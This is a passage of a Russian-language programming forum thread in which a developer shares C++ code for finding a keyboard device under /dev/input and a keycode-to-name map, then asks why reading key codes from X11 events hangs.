                int fd = open(filename.c_str(), O_RDONLY);
 
                if(fd == -1)
                {
                    std::cerr << "Error: " << strerror(errno) << std::endl;
                    continue;
                }
                int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;
                ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
 
                if((EV_KEY & event_bitmap) == EV_KEY)
                { // The device acts like a keyboard
                    ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
 
                    if((kbd_bitmap & event_bitmap) == kbd_bitmap)
                        {
                            // The device supports A, B, C, Z keys, so it probably is a keyboard
                            kb_device = filename;
                            close(fd);
                            break;
                        }
                    }
                close(fd);
                }
            }
        return kb_device;
    }
 
}

вот список кодов с символами, пока для английской раскладки:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <string>
 
namespace tasks {
  static const inline std::unordered_map<int, std::string> keycodes_ =
  {    {0, "RESERVED"},
       {1, "ESC",},
       {2, "1",},
       {3, "2",},
       {4, "3",},
       {5, "4",},
       {6, "5",},
       {7, "6",},
       {8, "7",},
       {9, "8",},
       {10, "9",},
       {11, "0",},
       {12, "MINUS",},
       {13, "EQUAL",},
       {14, "BACKSPACE",},
       {15, "TAB",},
       {16, "Q"},
       {17, "W"},
       {18, "E"},
       {19, "R"},
       {20, "T"},
       {21, "Y"},
       {22, "U"},
       {23, "I"},
       {24, "O"},
       {25, "P"},
       {26, "LEFTBRACE"},
       {27, "RIGHTBRACE"},
       {28, "ENTER"},
       {29, "LEFTCTRL"},
       {30, "A"},
       {31, "S"},
       {32, "D"},
       {33, "F"},
       {34, "G"},
       {35, "H"},
       {36, "J"},
       {37, "K"},
       {38, "L"},
       {39, "SEMICOLON"},
       {40, "APOSTROPHE"},
       {41, "GRAVE"},
       {42, "LEFTSHIFT"},
       {43, "BACKSLASH"},
       {44, "Z"},
       {45, "X"},
       {46, "C"},
       {47, "V"},
       {48, "B"},
       {49, "N"},
       {50, "M"},
       {52, "COMMA"},
       {52, "DOT"},
       {53, "SLASH"},
       {54, "RIGHTSHIFT"},
       {55, "KPASTERISK"},
       {56, "LEFTALT"},
       {57, "SPACE"},
       {58, "CAPSLOCK"},
       {59, "F1"},
       {60, "F2"},
       {61, "F3"},
       {62, "F4"},
       {63, "F5"},
       {64, "F6"},
       {65, "F7"},
       {66, "F8"},
       {67, "F9"},
       {68, "F10"},
       {69, "NUMLOCK"},
       {70, "SCROLLLOCK"}
  };
}

Подскажите, пожалуйста, кто знает!

Новые блоги и статьи Все статьи Все блоги /
SDL3 для Web (WebAssembly): Обработчик клика мыши в браузере ПК и касания экрана в браузере на мобильном устройстве 8Observer8 02.02.2026 Содержание блога Для начала пошагово создадим рабочий пример для подготовки к экспериментам в браузере ПК и в браузере мобильного устройства. Потом напишем обработчик клика мыши и обработчик. . .	Философия технологии iceja 01.02.2026 На мой взгляд у человека в технических проектах остается роль генерального директора. Все остальное нейронки делают уже лучше человека. Они не могут нести предпринимательские риски, не могут. . .	SDL3 для Web (WebAssembly): Вывод текста со шрифтом TTF с помощью SDL3_ttf 8Observer8 01.02.2026 Содержание блога В этой пошаговой инструкции создадим с нуля веб-приложение, которое выводит текст в окне браузера. Запустим на Android на локальном сервере. Загрузим Release на бесплатный. . .	SDL3 для Web (WebAssembly): Сборка C/C++ проекта из консоли 8Observer8 30.01.2026 Содержание блога Если вы откроете примеры для начинающих на официальном репозитории SDL3 в папке: examples, то вы увидите, что все примеры используют следующие четыре обязательные функции, а. . .
SDL3 для Web (WebAssembly): Установка Emscripten SDK (emsdk) и CMake для сборки C и C++ приложений в Wasm 8Observer8 30.01.2026 Содержание блога Для того чтобы скачать Emscripten SDK (emsdk) необходимо сначало скачать и уставить Git: Install for Windows. Следуйте стандартной процедуре установки Git через установщик. . . .	SDL3 для Android: Подключение Box2D v3, физика и отрисовка коллайдеров 8Observer8 29.01.2026 Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами. Версия v3 была полностью переписана на Си, в. . .	Инструменты COM: Сохранение данный из VARIANT в файл и загрузка из файла в VARIANT bedvit 28.01.2026 Сохранение базовых типов COM и массивов (одномерных или двухмерных) любой вложенности (деревья) в файл, с возможностью выбора алгоритмов сжатия и шифрования. Часть библиотеки BedvitCOM Использованы. . .	SDL3 для Android: Загрузка PNG с альфа-каналом с помощью SDL_LoadPNG (без SDL3_image) 8Observer8 28.01.2026 Содержание блога SDL3 имеет собственные средства для загрузки и отображения PNG-файлов с альфа-каналом и базовой работы с ними. В этой инструкции используется функция SDL_LoadPNG(), которая. . .

@Azathtot 754 / 351 / 90 Регистрация: 07.01.2023 Сообщений: 1,451
	27.06.2024, 13:30
	tiny developer, Извините, но вы походу ни документацию читать, ни думать не хотите.. Может вам сразу в "заказать программу"? смотрим closure Specifies data passed to callback. Вот и передавайте туда this, каую-либо "живую" структуру, если параметров больше 1 и т.д. 0

@tiny developer 0 / 0 / 1 Регистрация: 27.06.2013 Сообщений: 88
	27.06.2024, 20:02 [ТС]
	спасибо, я оказывается не там передавала указатель this, не в том методе. Тепрерь я успешно его получаю, мне доступны все поля класса, но я по-прежнему мучаюсь. Никак не получается выдернуть значение кода клавиши из xEvent. У меня почему-то метод XKeysymToString(XKeycodeToKeysym(display _, keycode, 0)) не отрабатывает. Как-будто зависает. Не могу пройти далее отладчиком... Если я завершаю приложение то вижу такой код завершения(скриншоты приложила). 0